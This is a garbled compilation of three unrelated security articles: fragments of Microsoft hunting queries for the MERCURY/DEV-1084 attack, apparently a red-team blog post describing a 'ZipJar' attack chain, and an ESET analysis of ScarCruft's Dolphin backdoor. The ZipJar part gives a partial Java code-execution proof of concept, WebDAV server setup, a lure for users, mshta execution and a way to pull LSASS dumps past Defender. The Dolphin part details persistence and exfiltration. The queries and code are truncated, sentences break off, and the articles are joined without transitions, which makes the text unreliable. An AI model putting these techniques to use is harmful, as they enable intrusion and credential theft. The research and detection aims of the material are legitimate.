"-EP BYPASS -NoP -W h" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor initiating commands DeviceProcessEvents | where InitiatingProcessFileName =~ "powershell.exe" | where InitiatingProcessCommandLine contains_cs @"c:\programdata\db.ps1" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId //Advanced


Hunting Query for Azure resource deletion activity let PrivEscalation = CloudAppEvents | where Application == "Microsoft Azure" | where ActionType == "ElevateAccess Microsoft.


Authorization" | where ActivityObjects has "Azure Subscription" and ActivityObjects has "Azure Resource Group" | extend PrivEscalationTime = Timestamp | project AccountObjectId, PrivEscalationTime ,ActionType; CloudAppEvents | join kind = inner PrivEscalation on AccountObjectId | extend DeletionTime = Timestamp | where (DeletionTime - PrivEscalationTime) <= 1h | where Application == "Microsoft Azure" | where ActionType has "Delete" |summarize min(DeletionTime), TotalResourcersDeleted =count(), CountOfDistinctResources= dcount(ActionType), DistinctResources=make_set(ActionType) by AccountObjectId //AHQ used to detect attacker abusing OAuth application during the attack CloudAppEvents | where Application == "Office 365" | where ActionType == "Consent to application.


| mv-expand AdminConsent = RawEventData.


ModifiedProperties | where AdminConsent.


Name == "ConsentContext.IsAdminConsent" and AdminConsent.


| extend PermissionAddedTo = tostring(RawEventData.


Target[3].ID) | extend FullAccessPermission =


RawEventData.


// Find app name | extend OAuthApplicationId = tostring(FullAccessPermission[7].NewValue) //


Find appId | extend AppRoleValue = tostring(FullAccessPermission[1].NewValue) //


Permission Level | where AppRoleValue == "full_access_as_app" | project PermissionTime=Timestamp, InitiatingUser=AccountDisplayName, OuthAppName, OAuthApplicationId, AppRoleValue, AccountObjectId, FullAccessPermission ) on AccountObjectId Microsoft Sentinel Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft Defender detections list above. full_access_as_app Granted To Application Potential SSH Tunnel to AAD Connect Host Suspicious Sign


More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy Indicators of compromise (IOCs)


The below list provides IOCs observed during our investigation.


We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.


These indicators should not be considered exhaustive for this observed activity.


References https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://ehorus.com/ https://github.com/nicocha30/ligolo-ng https://www.openssh.com/ https://github.com/Gerenios/AADInternals/blob/master/AADSyncSettings.ps1#L97 The post MERCURY and DEV-1084: Destructive attack on hybrid environment appeared first on Microsoft Security Blog.


ZipJar, a little bit unexpected attack chain The upcoming from the .zip

ZipJar a little bit unexpected attack chain


Most of those attack vectors are not completely new, like using an “@” to split between username and host.


While playing a little bit around, an unexpected attack chain appeared, involving a .zip


TLD, Windows Explorer, WebDAV and a jar file.


Some further reading and research: tl;dr Combining the following minor issues might cause RCE on a client.


The Windows Explorer location bar, is also a search function If using a TLD, like .zip, the search will be online, if the file does not exist locally on PATH folders Windows Explorer will happily map a WebDAV folder directly .jar files circumvent the execution Blocker (untrusted Location), however a JRE must be installed Take me to the PoC Introduction While playing around with the newly .zip


domains some behavior from Windows Explorer was found, which might cause some RCE if a Java Runtime Environment (JRE) is installed.


I name the behavior ZipJar.


If a file is not found on disk and a domain name is used, it will search online.


With the introduction of the .zip TLDs this is getting quite interesting.


In the next procmon screenshot the flow can be seen: Procmon with pasting dbexport.zip in location bar At first the local on path folders are tested and if that fails the WebDAV Client is started and the dll loaded.


I could never understand, why it should be a good idea to have a local search function doing things via the internet by default…


And as I know you guys, leave my .zip domain alone ;) WebDAV If we setup a WebDAV server at that specific .zip domain, in that case dbexport.zip , which can be easily set up via wsgidav wsgidav --port=80 --host=0.0.0.0


--root=. --auth


Shown: Network (WORKGROUP) > http://dbexport.zip Resolved: \\dbexport.zip\DavWWWRoot If we click an executable, we get a confirmation dialog, as the location is not trusted.


an opened WebDAV folder Phew, so we are safe and this is some kind of not ideal behavior, but at least there is dialog with a warning.


mild shock The execution of typical file types like: bat, chm, cmd, com, exe, hta, js, lnk, pif, ps1, vbs, wsh is indeed blocked.


If there are some custom application handlers registered, it seems that those tools do not have the same restriction.


This was tested by using the first jar file with a GUI found when googling. running a jar from the WebDAV Promising! Java Malware At this point I was afraid, that it might be necessary to write some Java Malware, like a shellcode loader.


Luckily, it turned out to be much simpler.


BufferedReader; import java.io.IOException; import java.io.


= null) { System.out.println(line); } BufferedReader errorReader = new BufferedReader( new InputStreamReader(process.getErrorStream())); while ((line = errorReader.readLine()) !


= null) { System.out.println(line); } errorReader.close(); reader.close(); } catch (IOException e) { e.printStackTrace(); } } } The interesting part is in line 13: String command = "calc.exe"; defining what to execute.


So this will just pop a calculator under normal conditions.


To generate the jar a simple way without needing a manifest is thew following javac .\HelloWorld.java jar cfe app.jar HelloWorld HelloWorld.class PoC By chaining all together, we get a nice simple flow here.


Keep in mind, that a Java Runtime Environment must be installed!


Could be whatever you want / define in the java programm.


As for the most attack chains that require user interaction, the story is important.


A concept might be, as usual, the IT department sending an E-Mail.


However, as the update must run under your user context, you need to copy the following command in the Explorer location bar.


dbexport.zip\app.jar Thanks.


Finding a better story is left as an exercise for the reader.


Further notes Full path to file and hidden files By supplying a full path like dbexport.zip\app.jar to the explorer location bar, the binary will immediately be executed.


It seems, that it is somehow possible to hide some files in the folder, but this was buggy during my tests. running a jar from the WebDAV


However regarding the documentation from MS windows should support hidden files via WebDAV.


mshta You can also run for example hta files from that WebDAV.


By typing the command in the start menu an hta file will get executed without a warning.


mshta \\dbexport.zip\DavWWWRoot\calc_hta.hta running a hta from the WebDAV Note, that HTA files are quite robust against syntax errors, the .hta ending is not necessary and also polyglots can easily be created.


As LSASS dumps are nowadays recognized by the dump file itself this is a nice way to get your hands on the file.


LSASS dump in c:\tmp detected and deleted


Oh oh, something wrong with defender Something wrong for the Defender LSASS dump in the WebDAV detected, but file not deleted If you even want to improve this workflow, there is a great tool called PowerHub offering a BlackHole WebDAV, meaning the server will immediately move the file out of the WebDAV.


Defense Block WebDAV communication Use Application restrictions like AppLocker or WDAC Monitor for the process java.exe spawning further binaries Conclusion This is not really a full chain attack for initial access at an RedTeam assessment


Feel free to reach out if you have questions, or and especially if you have some additional techniques which might apply here.


Links Work and inspiration from others, thanks for that:


Who’s swimming in South Korean waters?

Whos swimming in South Korean waters Meet ScarCrufts Dolphin


Meet ScarCruft’s Dolphin url: https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/ ESET researchers uncover Dolphin, a sophisticated backdoor extending the arsenal of the ScarCruft APT group ESET researchers have analyzed a previously unreported backdoor used by the ScarCruft APT group.


The backdoor, which we named Dolphin, has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers.


Its functionality is reserved for selected targets, to which the backdoor is deployed after initial compromise using less advanced malware.


In line with other ScarCruft tools, Dolphin abuses cloud storage services – specifically Google Drive – for C&C communication.


During our investigation, we saw continued development of the backdoor and attempts by the malware authors to evade detection.


A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security, most likely to maintain access to victims’ email inboxes.


Key points in this blogpost: ESET researchers analyzed Dolphin, a previously unreported backdoor used by the ScarCruft APT group.


Dolphin is deployed on selected targets only; it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.


A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security.


ScarCruft profile ScarCruft, also known as APT37 or Reaper, is an espionage group that has been operating since at least 2012.


It primarily focuses on South Korea, but other Asian countries also have been targeted.


ScarCruft seems to be interested mainly in government and military organizations, and companies in various industries linked to the interests of North Korea.


Dolphin overview In 2021, ScarCruft conducted a watering-hole attack on a South Korean online newspaper focused on North Korea.


In those reports, the BLUELIGHT backdoor was described as the attack’s final payload.


However, when analyzing the attack, we discovered through ESET telemetry a second, more sophisticated backdoor, deployed on selected victims via BLUELIGHT.


We named this backdoor Dolphin based on a PDB path found in the executable.


While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims.


Both backdoors are capable of exfiltrating files from a path specified in a command, but Dolphin also actively searches drives and automatically exfiltrates files with extensions of interest to ScarCruft.


The analysis is based on the first version of the backdoor that we found, 1.9 (based on a string found in the code) with additional information about changes in newer versions.


A summarized description of the version changes can be found in the Dolphin evolution section.


The installer shellcode follows these main objectives: Download and deploy a Python interpreter Generate and deploy a loading chain with its payload Ensure persistence of the loading chain


The installer downloads a CAB file from OneDrive, containing a legitimate Python 2.7 interpreter.


The CAB is unpacked to %APPDATA%, and depending on architecture, the interpreter ends up in one of the following directories:


%appdata%\Python27(32)\ %appdata%\Python27(64)\


The installer generates two file paths for loading-chain components, <loader_step_1> and <loader_encrypted_step_2>, with the format <base_dir>\<inf_name>\<dll_name>.


<base_dir> is randomly selected from %PROGRAMDATA% %PUBLIC% %APPDATA%\Microsoft %APPDATA%\Microsoft\Windows %LOCALAPPDATA% %LOCALAPPDATA%\Microsoft %LOCALAPPDATA%\Microsoft\Windows <inf_name> and <dll_name> are randomly selected from existing filenames (without extension) in %windir%\inf\*.inf and %windir%\system32\*.dll.


The template with generated example is shown in Figure 2. Figure 2.


Step 1 template and generated example


In order to persist the start of the loading chain, the installer sets a Run registry value: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” The <random_run_name> is randomly selected from existing filenames matching %WINDIR%\inf\*.inf, discarding the .inf extension.


Dolphin loader The Dolphin loader consists of a Python script and shellcode.


Step 2, shellcode, creates a host process (random CLI executable from %WINDIR%\System32\*.exe), XOR-decrypts further shellcode carried within itself, and injects it into the created process.


Step 3, another shellcode, XOR-decrypts an embedded PE file – the Dolphin backdoor – and loads and executes it using a custom PE loader.


Dolphin backdoor Dolphin is a backdoor that collects information and executes commands issued by its operators.


The backdoor is a regular Windows executable, written in C++.


It communicates with Google Drive cloud storage, which is used as its C&C server.


After execution, the output of commands is uploaded.


File exfiltration By default, Dolphin searches all non-fixed drives (USBs), creates directory listings and exfiltrates files by extension.


This search can be extended to fixed drives (HDDs), via dedicated commands.


The following file extensions of interest, specific to media, documents, emails, and certificates, are specified in the default configuration: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rtf, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3 Besides this automatic search, specific files can be exfiltrated.


In the newer versions, the default search was extended to fixed drives.


Portable devices Among regular drives, Dolphin also searches portable devices such as smartphones, using the Windows Portable Device (WPD) API.


It creates directory listings and exfiltrates files.


This functionality appeared to be under development in the first version we found, for several reasons: Relying on a hardcoded path with a username that likely doesn’t exist on the victim’s computer Missing variable initialization – some variables are assumed to be zero-initialized, or dereferenced as pointers without initialization Missing extension filtering The code is heavily based on Microsoft’s Portable Devices COM API code sample.


Apart from automatic search, the operators can specify individual files to be exfiltrated from portable devices.


In newer versions, this capability was finished and improved by adding extension filtering.


Keylogging and screenshots Dolphin logs keystrokes for windows with titles containing substrings specified in its configuration.


This is done via the GetAsyncKeyState API, with keystrokes being logged along with the window name and current time.


Shellcode Dolphin can receive shellcode for execution.


It can be executed either locally or in a specified separate process that is created and injected.


In the newer versions, the shellcode is stored in files instead of the registry, and the stored shellcode is loaded and executed on Dolphin’s startup, which was not the case in version 1.9 (the original version we analyzed).


Stealing credentials Dolphin can retrieve credentials from browsers in the form of saved passwords and cookies.


It was later restored in version 3.0, but in a different form.


It is now dynamically received from the C&C in the form of shellcode.


Google account Another one of Dolphin’s commands modifies the settings of the currently logged-in Google account, lowering its security relative to default settings.


It steals the existing cookie of the logged-in account from the browser and crafts requests that modify the settings.


Then it enables “less secure app access” by sending an undocumented RPC request via an HTTP POST to: https://myaccount.google.com/_/AccountSettingsUi/data/batchexecute These modifications are referred to as “thunder access” in the backdoor, likely being a reference to the Thunderbird email client.


This feature was found in versions 1.9 and 2.0 of the backdoor; it is not present in versions 2.2 or 3.0.


Data staging Dolphin exfiltrates data to Google Drive storage, staging the data in encrypted ZIP archives before upload.


This list can be reset via a dedicated command.


Configuration The backdoor contains an initial default configuration that is persisted on first run and loaded on subsequent runs.


It is stored in the file %ProgramData%\<variable_cfg_name>.inf, where <variable_cfg_name> is randomly selected from existing filenames matching %windir%\inf\*.inf.


The configuration uses JSON format, with hash-like keys.


It contains, among others, the following: Encryption keys Credentials for Google Drive API access Window titles to keylog List of file extensions to exfiltrate Dolphin evolution Since the initial discovery of Dolphin in April 2021, we have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.


Dolphin evolution timeline November 2021 – version 2.0 Version 2.0 introduced the following changes to the version found in April 2021:


The credential-stealing capability and commands related to it – the credential stealing and Google account commands – were removed.


Most strings in this version are base64 encoded.


In version 3.0, the code was reorganized and classes renamed, with capabilities remaining unchanged.